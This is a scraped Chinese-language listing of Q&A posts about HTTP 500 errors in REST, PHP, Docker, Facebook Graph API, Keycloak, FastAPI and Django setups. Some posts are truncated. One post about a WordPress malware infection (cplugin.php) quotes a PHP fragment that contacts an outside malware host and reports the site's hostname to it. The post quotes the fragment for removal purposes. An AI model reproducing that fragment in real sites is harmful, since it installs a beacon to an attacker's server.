我见过有人使用 HTTP 代码 500 作为所有类型错误情况的通用错误代码(服务器错误、http 错误、代码异常、在 DB 中找不到预期记录、超时异常等)。但是,我也读过并听说此代码 500 仅应在源自应用程序服务器(在我的情况下为 JBoss)的错误的情况下使用,而不是应用程序本身,即不适用于代码异常或无效密码或 DB-record-not - 发现的情况。那么,我们什么时候应该从 REST 服务方法返回 HTTP 状态代码 500?
rest http-status-codes http-response-codes http-status-code-500 internal-server-error
我知道看到此页面时出现500个内部服务器错误,
本地主机页面不起作用本地主机当前无法处理此请求。HTTP错误500
我已经设置了变量,display_errors: On并且error_reporting : E_ALL在我的php.ini配置文件,重新启动服务器。
我仍然看到同一页面,而不是导致内部服务器错误的实际错误消息。为什么?
在Docker Desktop for Windows 中运行我的解决方案之一时遇到问题。我使用以下 dockerfile:
# escape=`
FROM microsoft/iis
SHELL ["powershell", "-command"]
# Install ASP.NET
RUN Install-WindowsFeature NET-Framework-45-ASPNET; `
Install-WindowsFeature Web-Asp-Net45
# Configure website
EXPOSE 8000
RUN Remove-Website -Name 'Default Web Site'; `
md c:\barometer; `
New-Website -Name 'barometer' `
-Port 8000 -PhysicalPath 'c:\barometer' `
-ApplicationPool '.NET v4.5'
COPY PublishOutput c:\barometer
Run Code Online (Sandbox Code Playgroud)
我的构建步骤如下:
docker build -t mvcbarometer .
docker run -d --name barometer mvcbarometer
docker inspect -f "{{ .NetworkSettings.Networks.nat.IPAddress }}" barometer
Run Code Online (Sandbox Code Playgroud)
一切正常,但在访问该站点时出现以下错误:“您要查找的资源有问题,无法显示。”
出于某种原因,即使我使用相同的配置,我也无法获得通过 Visual Studio 调试时显示的经典黄色错误页面。
docker 似乎没有在任何地方记录任何错误,所以我有点困在调试问题上。我的其他(更基本的)项目在类似的 …
asp.net http-status-code-500 docker dockerfile docker-desktop
只是分享我在测试我的应用程序时遇到的一些信息.
Facebook Graph API实现了速率限制,如其文档页面所述.今天我试图从CNN facebook页面检索提要,我得到以下500错误:
{"error":{"code":1,"message":"Please reduce the amount of data you're asking for, then retry your request"}}
这是我试图测试的查询:
https://graph.facebook.com/v2.3/5550296508/feed?fields=id,actions,application,caption,created_time,description,from,icon,is_hidden,link,message,message_tags,name,object_id,picture,place,privacy,properties,source,status_type,story,story_tags,to,type,updated_time,with_tags,shares,likes.limit(50),comments.filter(stream).limit(50){attachment,created_time,from,id,like_count,message,message_tags,comments{attachment,created_time,from,id,like_count,message,message_tags}}&access_token=xxxxxxx
facebook http rate-limiting http-status-code-500 facebook-graph-api
我正在尝试运行带有两个“扩展”的 Scrapy 蜘蛛:
举个例子,我用的刮刀quotes.toscrape.com在https://github.com/scrapy-plugins/scrapy-splash/tree/master/example。这是我的目录结构:
.
??? docker-compose.yml
??? example
??? Dockerfile
??? scrapy.cfg
??? scrashtest
??? __init__.py
??? settings.py
??? spiders
??? __init__.py
??? quotes.py
Run Code Online (Sandbox Code Playgroud)
其中example目录是从克隆scrapy-splash库。我添加了以下docker-compose.yml文件:
version: '3'
services:
scraper:
build: ./example
environment:
- http_proxy=http://tor-privoxy:8118
links:
- tor-privoxy
- splash
tor-privoxy:
image: rdsubhas/tor-privoxy-alpine
splash:
image: scrapinghub/splash
Run Code Online (Sandbox Code Playgroud)
settings.py我在文件中更改了以下内容SPLASH_URL:
# SPLASH_URL = 'http://127.0.0.1:8050/'
SPLASH_URL = 'http://splash:8050'
Run Code Online (Sandbox Code Playgroud)
因为 Splash 不是在本地主机上运行,而是在一个名为splash. 在 …
我创建了一个简单的应用程序,由 Keycloak 服务器进行身份验证。我已经在同一台计算机上测试了应用程序和 Keycloak 服务器,应用程序运行良好并将我重定向到 Keycloak 进行相应的领域客户端身份验证。现在我为我的 Keycloak ( https://192.162.10.11:8443 )保留了一个单独的服务器,并且我的 Spring Boot 正在我的本地主机上运行。但是,一旦我尝试访问该服务,该应用程序不会将我重定向到 Keycloak,而是给我提供 Whitelable 错误页面。有人可以指导我我做错了什么吗?我的完整代码详细信息如下
应用程序属性
server.port=8081
keycloak.realm= Myrealm
keycloak.auth-server-url= https://192.162.10.11:8443/auth
keycloak.ssl-required= external
keycloak.resource= backend-app
keycloak.public-client= true
keycloak.confidential-port= 0
Run Code Online (Sandbox Code Playgroud)
** 我的 keycloak 正在https://192.162.10.11:8443上运行,我可以通过浏览器访问它
Keyclaok 的 Myrealm 设置:
我访问的链接是 http://localhost:8081/persons
当 Keycloak 与应用程序位于同一台计算机上时,正在验证此链接
主类代码
package sb.keycloak;
import java.security.Principal;
import java.util.ArrayList;
import java.util.List;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.http.ResponseEntity;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@SpringBootApplication
@RequestMapping
@CrossOrigin(allowCredentials="true")
public class SbKeycloakApplication {
@GetMapping(path = "/persons") …Run Code Online (Sandbox Code Playgroud) oauth spring-security http-status-code-500 spring-boot keycloak
我正在开发一个具有 FastAPI 后端和 React 前端的项目。当通过调用后端时,fetch我有时会得到以下信息:
Access to fetch at 'http://localhost:8000/get-main-query-data' from origin 'http://localhost:3000' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
Run Code Online (Sandbox Code Playgroud)
这种情况经常发生,我可以调用一个端点,然后抛出错误。有时所有端点都会抛出错误
Middleware我已经这样设置了main.py:(也在这一行)
Access to fetch at 'http://localhost:8000/get-main-query-data' from origin 'http://localhost:3000' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. …Run Code Online (Sandbox Code Playgroud) 如何修复 AWS eb 部署应用程序上的 Django Internal Server 500 错误?
我是否需要更改base.py文件中允许的主机以在 elasticbeanstalk 中包含 ec2 的 IP 地址?
# SECURITY WARNING: keep the secret key used in production secret!
# Raises ImproperlyConfigured exception if SECRET_KEY not in os.environ
SECRET_KEY = env('SECRET_KEY')
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = (
'django.contrib.auth',
'django_admin_bootstrapped',
'django.contrib.admin',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
)
Run Code Online (Sandbox Code Playgroud)
...
STATIC_URL = '/static/'
ALLOWED_HOSTS = []
Run Code Online (Sandbox Code Playgroud)
...
我启用了调试并运行了 eb 配置和 eb 日志。在EB部署值显示下方,EB记录低于该值。您如何解决“没有名为 django 的模块”的问题?
Creating application version …Run Code Online (Sandbox Code Playgroud) python django amazon-web-services http-status-code-500 internal-server-error
cplugin.php最近发生了一次攻击,许多 WordPress 网站因恶意软件文件而被关闭。
该恶意软件是编写错误的代码,因此目前它主要导致 500 服务器运行时错误。但最好立即将其删除,因为它会迁移到服务器上的所有多个网站,并且具有点击恶意软件 URL 来下载其他文件的代码。恶意软件代码片段:
if(get_option('log_install') !=='1')
{
if(!$log_installed = @file_get_contents("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
$log_installed = @file_get_contents_cplugin("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
Run Code Online (Sandbox Code Playgroud)
我已经找到了一个解决方案并自己发布答案以帮助所有用户。
编辑:
有报告称同一文件对用户的命名不同:在这种情况ccode.php, cplugin.php下helad.php可以修改修复程序。
为了记录触发服务器错误 500 的“某些依赖性,某处很深”的错误,并且在生产实例上的控制台日志中没有堆栈跟踪DEBUG=False,我实现了标准自定义 500 处理程序,该处理程序解决了相当多的 Stackoverflow 关于打印堆栈的问题跟踪 500 错误建议:
import sys
import traceback
def server_error_500_handler(request):
type, value, tb = sys.exc_info()
print('\n----intercepted 500 error stack trace----')
print(value)
print(type)
print(traceback.format_exception(type, value, tb))
print('----\n')
Run Code Online (Sandbox Code Playgroud)
然而,这些也都以 结尾render(request, '500.html'),而我不想提供自定义的 500 页面,而是希望代码“返回”(如果有这样的事情)只提供 Django 本身已经做的任何事情。有什么方法可以让它做到这一点吗?或者,是否有某种方法可以侦听 500 事件而不劫持 500 错误返回代码路径?